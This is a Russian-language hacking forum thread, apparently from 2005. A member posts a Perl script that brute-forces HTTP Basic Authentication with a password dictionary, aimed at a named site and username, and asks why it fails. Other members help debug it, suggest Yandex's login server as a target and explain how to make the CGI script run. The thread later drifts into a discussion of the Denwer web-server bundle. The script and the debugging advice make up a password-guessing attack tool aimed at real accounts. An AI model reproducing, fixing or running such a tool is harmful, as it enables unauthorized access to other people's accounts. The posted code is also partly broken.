Брутфорс на Perl

Discussion in 'Уязвимости Mail-сервисов' started by Murz, 7 Nov 2005.

  1. Murz

    Murz New Member

    Joined:
    4 Oct 2005
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Прочитал на одном сайте статью "Брутфорс на Perl" . Попытался запустить ее на своем сервере, но сервер выдает ошиьку №500 . Причем изменял я только адрес ломаемого сайта и адрес файла с паролями.

    Где ошибка ?

    #!/usr/bin/perl
    ## Autors: Mike: [email protected], Forb: [email protected]
    use MIME::Base64;
    use IO::Socket;
    use POSIX; ### Подрубаем модули POSIX, Socket и Base64
    $server="www.bendertom.narod.ru"; ### Удаленный сервер
    $port="80"; ### Удаленный порт
    $dir=""; ### Запароленная директория
    $logfile="rez.txt"; ### Логфайл, куда пишем пароль ;)
    $log="stat.txt"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
    $words="dictionary.txt"; ### Словарь (файл с паролями)
    $user="volo-igor"; ### Имя пользователя
    open(file, "$words") or die print "$!\n";
    @data=;
    $total=@data;
    close file; ### Записываем все пароли в один массив
    $i=0;
    foreach $pass (@data) {
    $i++;
    chomp($pass);
    open(file, ">$log") or die print "$!\n";
    $perc=($i*100)/$total;
    $perc=ceil($perc); ### Высчитываем процент
    print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
    close file;
    $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
    chomp($auth);
    $socket=IO::Socket::INET->new( PeerAddr => $server,
    PeerPort => $port,
    Photo => tcp) ### Порождаем сокет
    or die print "Unable to connect to $server:$port\n";
    print $socket "GET $dir HTTP/1.1\n";
    print $socket "Host: $server\n";
    print $socket "Accept: */*\n";
    print $socket "Referer: http://support.microsoft.com/\n";
    print $socket "User-Agent: Internet Explorer 6.0\n";
    print $socket "Pragma: no-cache\n";
    print $socket "Cache-Control: no-cache\n";
    print $socket "Authorization: Basic $auth\n";
    print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш
    $ans=<$socket>; ### Получаем ответ от сервера
    if ($ans=~/200 Ok/i) {
    open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
    print logf "$user:$pass is OK!!!\n";
    close logf;
    exit 0; ### Выходим ;)
    }
    }
     
    1 person likes this.
  2. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru
    но на яндексе тебя забанят после нескольких попыток перебора ...
     
  3. Murz

    Murz New Member

    Joined:
    4 Oct 2005
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Пробовал и так. Та же ошибка .
     
  4. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    потому что yandex не использует поле Authorization: для идентификации .... я бы попровил, но perl не знаю вообще =(
    Брут был изначально на какой сервер настроен ?
     
  5. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    если ошибка 500 то ты октрываешь ее как страницу чтоль?
     
  6. bul666

    bul666 Banned

    Joined:
    21 Apr 2005
    Messages:
    280
    Likes Received:
    8
    Reputations:
    -1
    Вот это интересно....

    Это вообще брут не на мыло!

    Во превых Порт стоит 80, и указании папки.
    Это брут на папки!
     
  7. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Ошибка, говоришь? Что, так и пишет: "Чувааак, там ниибаццо какая internal server ошибка!!"?

    Хинт: что за ошибка - можно посмотреть в логах.
     
  8. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    :))))))))))))))
    Какая какая ошибка???
    Монстер прав,нельзя этот скрипт запускать через www)))
    Вопще насколько я помню перл,могу сказать что если ты через www открываешь страницу,то скрипт должен отправлять хидер,иначе 500 ошибка.
     
  9. Dronga

    Dronga ВАША реклама ТУТ!!

    Joined:
    1 Jul 2005
    Messages:
    575
    Likes Received:
    239
    Reputations:
    249
    Ща поглядим..

    Давно с чем-то подобным сталкивался... Каждый в чем-то прав и каждый в чем-то неправ)

    Этот скрипт МОЖНО запустить через WWW, т.е. открыть именно как страницу (конечно она будет динамической)).
    Да, действительно, ошибка 500 выскакивает из-за ошибки в скрипте.
    qBiN совершенно правильно сказал про хидеры в контексте ошибки 500.

    Выводы от меня:
    После строчек
    PHP:
    #!/usr/bin/perl
     ## Autors: Mike: [email protected], Forb: [email protected]
    вставляешь
    PHP:
    print "Content-type: text/html\n\n";  
     print 
    "It's WORK!!\n";
    Если сам скрипт верен, то ошибка исчезнет.

    nerezus совершенно правильно и справедливо подметил по поводу error.log :)
    Просто запустив твой скрипт на localhost интерпретатор выдал:
    Code:
    Syntax error at \\home\\12700~1.1\\cgi\\index.pl line 16, near "=;"\n
    Execution of \\home\\12700~1.1\\cgi\\index.pl aborted due to compilation errors.\n
    Это строчка
    PHP:
    @data="";
    Но тут уже сами гадайте... )

    Если кто-то сомневается в справедливости вышесказанного - Денвер в зубы и смотрите сами)

    Все спасибо принимаю в форме повышения репутации.
     
    #9 Dronga, 10 Nov 2005
    Last edited: 10 Nov 2005
  10. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    а что из перечисленного есть в денвере? =)
     
  11. Dronga

    Dronga ВАША реклама ТУТ!!

    Joined:
    1 Jul 2005
    Messages:
    575
    Likes Received:
    239
    Reputations:
    249
    Действительно, перл в стандартной поставке Денвера идет без библиотек, но я докачивал их и ставил отдельно. Всё работает.
     
  12. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Вот я и говорю: использующие денвер обречены на гемор =)
     
  13. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Да не, nerezus, не прав ты =) не гемор обречены те, кто денвера не юзают с самого начала. Человек сначало идет в ддетский сад, затем школа, затем ВУЗ и прочее. Если ты млаенца из яслей отправишь в вуз - толку не будет. Так и тут, если ты только начал программить по веб на винде - только денвер. А когда его убирать - покажет время. Я о сих пор юзаю денвер и есть сотня причин на это. Например:

    1. MySQL + PHP + Apache весят под 100 метров, если качать по отельности. Денвер весит 4 местра
    2. Мне не интересно администрирование, мне не интересно писать батники, которые будут запускать все что нужно мне ля работы, я люблю программить и мне удобнее нажать одну кнопочку "Run", чтобы все было готово ля работы.
    3. Денвер сам прописывает все новые домены в windows/system32/drivers/etc/hosts, мне уобно это, опять же я не отвлекаюсь на всякую бню.
    4. Денвер помимо всего прчего содержит phpmyadmin и другие утилиты для более эффективной работы со всеми компонентами.
    5. Все конфиги снабжены русскими комментариями
    6. денвер легко переносить. Я просто пишу диру webservers на диск и запускаю мои проекты на любых машинах без всяких проблем

    И куча, куча всего остального. Но в то же время я сам прописываю конфиги апача, конфиги виртуальных серверов, конфиги php и MySQL, Денвер лишь инструмент, который очень сильно облегчает процесс поготовки машины к программированию.
     
    _________________________
  14. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Денвер это как Visua Studio. возьмем к пример C++ язык. Ты можешь скачать блокнот, даже с интерпритатором, скачать отддельно коспилятор и гемороиться с ними. А можешь поставить себе Visual Studio и проблем не знать со всякой бней, занимаясь только любимым делом.
     
    _________________________
  15. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Тринукс, верно гутаришь